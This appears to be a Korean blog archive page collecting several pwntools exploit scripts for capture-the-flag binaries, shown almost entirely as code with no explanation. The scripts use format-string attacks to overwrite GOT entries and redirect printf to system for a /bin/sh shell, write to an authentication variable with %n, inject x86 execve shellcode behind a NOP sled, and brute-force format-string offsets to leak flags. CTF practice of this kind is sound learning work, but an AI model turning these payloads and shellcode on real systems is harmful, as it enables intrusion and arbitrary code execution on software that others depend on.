'2019/08'에 해당되는 글 34건

exploit.py

from pwn import *

p = process('./echoback')
e = ELF('./echoback')

vuln_low = 0x85ab
vuln_high = 0x10804
system_got_low = 0x8460
system_got_high = 0x10804
puts_got = e.got['puts']
printf_got = e.got['printf']

payload = p32(puts_got)
payload += p32(puts_got + 2)
payload += '%{}x'.format(vuln_low - 8)
payload += "%7$hn"
payload += '%{}x'.format(vuln_high - vuln_low)
payload += "%8$hn"
p.sendlineafter('\n', payload)

payload2 = p32(printf_got)
payload2 += p32(printf_got+2)
payload2 += "%{}x".format(system_got_low-8)
payload2 += "%7$hn"
payload2 += '%{}x'.format(system_got_high - system_got_low)
payload2 += "%8$hn"

p.sendlineafter("message:\n",payload2)
p.sendlineafter("message:\n","/bin/sh\x00")
p.interactive()

exploit.py

from pwn import *
 
p = process("./auth")

auth_variable = 0x0804A04C

payload = p32(auth_variable)
payload += "%11$n"

p.sendlineafter("\n",payload)

print p.recv()

exploit.py

from pwn import *
 
p = process("./ehh")

p.recvuntil("here< ")
protect_addr = int(p.recv(10),16)

payload = p32(protect_addr)
payload += "%20x"
payload += "%6$n"

p.recv()
sleep(0.1)
p.sendline(payload)
sleep(0.1)
print p.recv()

exploit.py

from pwn import *

p = process("./ebp")
e = ELF('./ebp')

payload = "%{0}p%4$n".format(e.got['fgets'])

p.sendline(payload)
p.recv(2048)

bufAddr = 0x0804A080
payload2 = "%{0}p%12$n".format(bufAddr+30)
payload2 += "\x90"*100
payload2 += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

p.sendline(payload2)
p.recv(2048)

p.interactive()

exploit.py

from pwn import *
  
for i in range(0,100):
	try:
		p = process("./life_game")
		p.sendlineafter("6. escape\n-----------------------\n","5")
		p.sendlineafter("5. go back\n-----------------------\n","3")
		p.sendlineafter("How much?\n","-10000000")
		p.sendlineafter("5. go back\n-----------------------\n","5")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","2")
		p.sendlineafter("6. escape\n-----------------------\n","4")
		p.sendlineafter("6. escape\n-----------------------\n","5")
		p.sendlineafter("5. go back\n-----------------------\n","3")
		p.sendlineafter("How much?\n","1000000")
		p.sendlineafter("5. go back\n-----------------------\n","5")
		p.sendlineafter("6. escape\n-----------------------\n","31337")
		p.sendlineafter("The last one\n","%"+str(i)+"$s")
		print p.recv()
		p.close()
	except:
		"fail"
		p.close()

exploit.py

from pwn import *
  
p = process("./echo")

for i in range(1,100):
    try:
        p = process("./echo")
        payload ="%"+str(i)+"$s"
        p.sendlineafter("> ",payload)
        result = p.recv(2048)
        if "picoCTF" in result:
            print result
            break
        p.close()
    except:
        print "fail"
        p.close()